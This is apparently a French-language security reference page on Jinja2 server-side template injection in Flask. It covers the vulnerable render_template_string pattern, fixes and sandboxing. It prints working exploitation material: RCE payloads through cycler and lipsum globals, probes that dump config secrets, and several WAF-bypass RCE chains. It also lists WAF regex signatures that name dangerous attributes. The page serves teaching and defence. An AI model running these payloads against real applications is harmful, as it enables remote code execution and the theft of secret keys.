SSTI Jinja2

Qu'est-ce que la SSTI Jinja2 ?#

Jinja2 est le moteur de templates par défaut pour Flask et une bibliothèque Python largement utilisée dans les extensions Django et les applications Python autonomes. La SSTI dans Jinja2 se produit quand une entrée contrôlée par l'utilisateur est passée comme source du template à render_template_string() ou jinja2.Template() plutôt que comme variable de rendu à un fichier de template précompilé. Le moteur Jinja2 lexicalise et évalue l'entrée de l'attaquant comme syntaxe de template exécutable, permettant l'accès au modèle objet introspectif de Python et finalement au système d'exploitation.

L'impact de la SSTI Jinja2 est typiquement l'exécution de code à distance. Le modèle objet de Python rend fiable le passage du contexte de template au système d'exploitation sans nécessiter d'importations : chaque objet Python expose sa hiérarchie de classes via __class__.__mro__, et depuis object (la racine), __subclasses__() énumère chaque classe chargée y compris subprocess.Popen. Le moteur Jinja2 expose aussi des globals intégrés — cycler, joiner, lipsum, namespace — qui portent des attributs __globals__ fournissant un accès direct au module os. Ce chemin est la route la plus rapide vers le RCE contre un environnement par défaut, celui-là même que rend render_template_string() de Flask (app.jinja_env.sandboxed vaut False). Ces globals restent définis dans SandboxedEnvironment également, mais le sandbox y refuse l'accès aux attributs __init__/__globals__ avec une SecurityError — voir la FAQ pour le comportement vérifié sur Jinja2 3.1.6.

Mécanisme#

Le pattern de code vulnérable dans Flask :

# VULNÉRABLE — user_name est la SOURCE du template
from flask import Flask, request, render_template_string
 
app = Flask(__name__)
 
@app.route("/salutation")
def salutation():
    nom = request.args.get("nom", "Monde")
    return render_template_string(f"Bonjour {nom}!")  # vecteur SSTI

L'attaquant soumet :

GET /salutation?nom={{7*7}} HTTP/1.1
Host: flask-vulnerable.example.com

Réponse : Bonjour 49! — Jinja2 a évalué 7*7. Chemin d'escalade :

# Étape 1 — Confirmer Jinja2 ({{7*'7'}} → 7777777 Jinja2, 49 Twig)
{{7*7}}
 
# Étape 2 — Dump des clés de config Flask
{{ config.items() }}
# Retourne : [('SECRET_KEY', 'super-secret'), ('DEBUG', True), ...]
 
# Étape 3 — RCE via contournement cycler globals (préféré : indépendant de la version)
{{ cycler.__init__.__globals__.os.popen('id').read() }}
 
# Étape 3 (alternative) — contournement lipsum (accès dictionnaire, bypass notation par point)
{{ lipsum.__globals__['os'].popen('id').read() }}

Variantes d'attaque#

Contournement WAF et Filtre d'Attributs#

|attr() seul ne contourne que les filtres qui pattern-matchent l'accès par notation point (\.\w+) — le nom de l'attribut lui-même (__globals__, __class__, …) reste présent comme sous-chaîne littérale dans la requête, donc un WAF à scan de mots-clés le détecte toujours. Le contournement complet des règles de mots-clés/regex littéraux nécessite de combiner |attr() avec des noms d'attributs échappés en hex — voir Règles de détection & contournement WAF ci-dessous pour le mécanisme vérifié et les signatures qu'il déjoue.

# Contournement de la notation par point uniquement — "__globals__" reste une sous-chaîne
# littérale, capturée par les scanners de mots-clés
{{ request|attr('application')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__import__')('os')|attr('popen')('id')|attr('read')() }}

Exemples réels#

HackerOne #423541 — Fuite de SECRET_KEY Flask (prime de 3 000$)

Une API Flask publique acceptait un paramètre nom et utilisait render_template_string(f"Bonjour {nom}!"). Un chercheur a soumis {{ config.SECRET_KEY }} et a reçu la clé de signature de l'application en clair. Avec la clé, des cookies de session et des tokens JWT pouvaient être forgés, accordant un accès administrateur. Le correctif consistait à remplacer render_template_string par render_template("salutation.html", nom=nom).

CVE-2024-56201 — Évasion de sandbox du compilateur Jinja2 via un nom de fichier malveillant (CVSS 3.1 8.8 selon le NIST)

Jinja2 avant 3.1.5 avait un bug dans son compilateur : un attaquant contrôlant à la fois le nom d'un template et son contenu — pas seulement la source passée à render_template_string — pouvait exécuter du code Python arbitraire, sans que le sandbox n'offre de protection. Le NIST note cette CVE CVSS 3.1 8.8 (AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H) ; le score CVSS 4.0 propre à GitHub pour la même faille est nettement plus bas, à 5.4, reflétant les critères d'attaque plus stricts de ce modèle. Corrigé dans Jinja2 3.1.5.

Pattern d'aperçu de template d'email — SSTI applicative courante

Un pattern récurrent : un système de notifications email permet aux utilisateurs de personnaliser des templates avec des variables {{ user.name }}. L'endpoint de prévisualisation rend les templates fournis par l'utilisateur via render_template_string(). Un attaquant soumet {{ config.MAIL_PASSWORD }} pour exfiltrer les identifiants SMTP silencieusement. Le correctif utilise uniquement des templates précompilés avec les données utilisateur comme variables.

Détection#

Tests manuels#

1. Soumettre {{7*7}} — réponse 49 confirme un moteur {{}}.
2. Soumettre {{7*'7'}} — 7777777 confirme Jinja2 ; 49 confirme Twig.
3. Soumettre {{ config }} ou {{ config.items() }} — un dict Python avec les clés de config Flask confirme le contexte Flask/Jinja2.
4. Si la sortie est filtrée, essayer l'error-based : {{ config.SECRET_KEY.fail() }} — une AttributeError 500 peut révéler la valeur.
5. Soumettre le polyglotte Korchagin ${{<%[%'"}}%\ — jinja2.exceptions.TemplateSyntaxError: unexpected '<' confirme Jinja2.

Détection automatisée#

# SSTImap v1.3.0 — spécifique Jinja2 avec error-based Korchagin
sstimap -u "http://cible.com/salutation?nom=*" --engine Jinja2
 
# tplmap — legacy stable
tplmap.py -u "http://cible.com/salutation?nom=*"
 
# Semgrep SAST — détection au moment du développement
semgrep --config "p/flask" /chemin/vers/app/
# Règle : python.flask.security.injection.tainted-string-format

Règles de détection & contournement WAF#

Toute règle de WAF ou d'IDS ciblant la SSTI Jinja2 se résume in fine à un pattern-matching de la syntaxe des délimiteurs de template ({{ }} / {% %}) combiné à une liste de mots-clés d'attributs dangereux. Comme Jinja2 expose ces chemins dangereux sous forme de noms d'attributs Python littéraux — __class__, __mro__, __subclasses__, __globals__, __builtins__, __import__ — et un petit ensemble de globals toujours présents (cycler, lipsum, joiner, namespace), la plupart des jeux de règles WAF en production convergent vers les mêmes signatures regex. Cette section documente ces signatures et les techniques vérifiées qui contournent chacune d'elles — distinctes de la détection générique multi-moteurs couverte sur la page pilier SSTI.

Signatures WAF/IDS#

# 1. Délimiteur + mot-clé d'attribut dangereux — la forme de règle WAF/IDS la plus courante
\{\{.*(__class__|__mro__|__subclasses__|__globals__|__builtins__|__import__).*\}\}
 
# 2. Globals "libres" spécifiques à Jinja2 — cycler/lipsum/joiner/namespace sont
#    toujours définis et, dans un environnement par défaut (non sandboxé), atteignent
#    os via __globals__ sans aucun objet request ni config ; plusieurs jeux de règles
#    publics ciblent directement ces noms
\{\{\s*(cycler|lipsum|joiner|namespace)\b
 
# 3. Traversée d'attribut via chaîne de filtres — capture l'abus de |attr()
\|\s*attr\s*\(
 
# 4. Flux de contrôle par balises de statement utilisé pour le RCE, pas pour du rendu conditionnel
\{%\s*(for|if|set|with)\b[^%]*(__class__|__subclasses__|__globals__)
 
# 5. Sondes de dump de config/secrets
\{\{\s*config\b

Ces cinq signatures reposent toutes sur la présence, non échappée, de la chaîne dangereuse dans la requête brute. C'est exactement cette hypothèse que chaque contournement vérifié ci-dessous exploite.

Techniques de contournement WAF vérifiées#

Chacune des techniques ci-dessous déjoue une règle d'inspection de requête — une signature WAF ou une blocklist de mots-clés applicative. Aucune n'échappe à jinja2.sandbox.SandboxedEnvironment : vérifié sur Jinja2 3.1.6, |attr('\x5f\x5fclass\x5f\x5f'), ["__class__"] et .__class__ se résolvent tous en Undefined sous le sandbox, et la chaîne par balises de statement lève SecurityError. Elles supposent un environnement par défaut — le cas réaliste pour render_template_string().

# 1. Noms d'attributs échappés en hex/unicode -- le lexer de Jinja2 lui-même décode
#    chaque littéral string via le codec Python `unicode-escape` (jinja2/lexer.py),
#    donc l'échappement hex \x5f se rend en "_" à l'évaluation (Jinja2 accepte
#    aussi la forme d'échappement unicode équivalente préfixée par u) sans jamais
#    apparaître comme le sous-chaîne littérale "__" recherchée par la signature #1.
#    Chaîne RCE complète, attribuée à @SecGus :
{{ request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')() }}
 
# 2. Concaténation via paramètres séparés — le mot-clé dangereux n'apparaît jamais
#    assemblé dans un seul champ, seulement reconstruit par le filtre |join de
#    Jinja2 au moment du rendu.
#    Requête : GET /?exploit={{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}&class=class&usc=_
{{ request|attr([request.args.usc*2, request.args.class, request.args.usc*2]|join) }}
 
# 3. Traversée par balises de statement — contourne la signature #1 (qui ne scanne
#    que les blocs d'expression {{ }}) en répartissant le gadget entre balises
#    {% for %}/{% if %}, et évite de coder en dur l'index de __subclasses__() en
#    faisant correspondre le nom de classe à l'exécution :
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{ x()._module.__builtins__['__import__']('os').popen(request.args.input).read() }}{% endif %}{% endfor %}
 
# 4. Notation par crochets — contourne les filtres ciblant uniquement la notation par point ("\.\w+")
{{ request["__class__"] }}

La page SSTI Twig documente la sonde équivalente de différenciation de moteur {{7*'7'}} pour les stacks Symfony/PHP — la syntaxe des délimiteurs est quasi identique, ce qui explique pourquoi les règles WAF qui ne matchent que {{ }} génériquement produisent des faux positifs entre moteurs et des faux négatifs contre les payloads en {% %} uniquement. Cette lacune de détection est l'une des raisons pour lesquelles la catégorie injection du Top 10 2025 d'OWASP traite l'injection de template comme un sous-ensemble de défaillances systémiques de gestion des entrées plutôt que comme un pattern unique signature-matchable.

La détection Jinja2 de BreachVex superpose la paire de sondes arithmétiques, le polyglotte Korchagin et les callbacks out-of-band (couverts plus haut) à une confirmation comportementale agnostique aux signatures — elle ne repose pas sur le matching de __class__/__globals__ comme chaînes littérales, donc les contournements par échappement hex et par paramètres séparés ci-dessus ne la contournent pas.

Prévention#

Défense principale — render_template, pas render_template_string#

# VULNÉRABLE
@app.route("/salutation")
def salutation():
    nom = request.args.get("nom")
    return render_template_string(f"Bonjour {nom}!")  # SSTI
 
# SÉCURISÉ
@app.route("/salutation")
def salutation():
    nom = request.args.get("nom")
    return render_template("salutation.html", nom=nom)  # sécurisé

<!-- templates/salutation.html -->
<!-- Jinja2 échappe automatiquement le HTML dans les templates .html -->
<p>Bonjour {{ nom }}!</p>

Configuration Sandbox (Défense en Profondeur Seulement)#

from jinja2.sandbox import SandboxedEnvironment
from jinja2 import StrictUndefined
 
env = SandboxedEnvironment(
    autoescape=True,
    undefined=StrictUndefined
)
env.globals.clear()          # CRITIQUE : supprime cycler, joiner, lipsum, namespace
env.filters = {              # allowlist seulement les filtres sûrs
    'escape': env.filters['escape'],
    'upper': env.filters['upper'],
    'lower': env.filters['lower'],
}
tmpl = env.from_string(user_provided_template)
result = tmpl.render(nom=safe_value)

Ressources#

• PortSwigger SSTI Lab — Exploit Jinja2
• SSTImap v1.3.0 — Module Jinja2
• Documentation Jinja2 Sandbox
• CVE-2024-56201 — NVD